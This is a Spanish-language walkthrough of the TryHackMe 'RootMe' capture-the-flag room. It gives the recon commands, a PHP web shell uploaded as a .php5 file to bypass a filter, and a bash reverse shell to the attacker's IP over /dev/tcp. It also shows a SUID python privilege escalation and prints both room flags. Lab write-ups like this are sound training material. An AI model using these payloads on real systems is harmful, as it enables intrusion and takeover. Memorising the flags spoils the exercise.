RootMe - TryHackMe

A ctf for beginners, can you root me?

Summary

  • IP: 10.10.233.124
  • Ports: 22,80
  • OS: Linux (Ubuntu)
  • Services & Applications:
    • 22 -> OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
    • 80 -> Apache httpd 2.4.29

Recon

  • Escaneo básico de puertos:
$sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.233.124 -oG allPorts
  • Escaneo profundo de puertos abiertos encontrados:
    $sudo nmap -p22,80 -sCV 10.10.233.124 -oN targeted
    
  • Búsqueda de directorios web con gobuster:
    $gobuster dir -u http://10.10.233.124/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt
    
  • Encontramos un directorio llamado /panel/ el cual nos permite subir archivos; intentamos hacer una reverse shell con un archivo PHP pero no admite subir archivos .php; al parecer solo filtra archivos php, por lo que subimos un archivo “backdoor.php5” con una linea que nos permite ejecutar mediante el link el parámetro “cmd”:
<?php echo passthru($_GET["cmd"]); ?> 
  • Ya subido el archivo, lo abrimos desde el directorio “/uploads” y ya podremos ejecutar comandos desde el link con el parámetro “cmd”, aquí entablamos una reverse shell básica:
http://10.10.233.124/uploads/backdoor.php5?cmd=bash -c "bash -i >%26 /dev/tcp/10.18.101.123/443 0>%261"
  • Accedemos a la máquina como usuario ww-data, hacemos tratamiento de la tty:
    ww-data$script /dev/null -c bash
    CTRL+Z
    $stty raw -echo;fg
    $reset xterm
    $export TERM=xterm
    $export SHELL=bash
    
  • Encontramos la flag de usuario:

USER FLAG: THM{y0u_g0t_a_sh3ll}

ESCALANDO PRIVILEGIOS:

  • Escalación de privilegios; buscamos archivos con permisos SUID:
    find / -perm -4000 2>/dev/null | grep -v snap
    
  • Vemos que el binario “python” cuenta con permisos SUID, buscamos en GTFOBINS alguna forma de escalar privilegios con esta información, y encontramos que ejecutando el binario python de la siguiente forma sirve para realizar la escalación de privilegios:
    ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
    
  • Encontramos la flag de root:

ROOT FLAG: THM{pr1v1l3g3_3sc4l4t10n}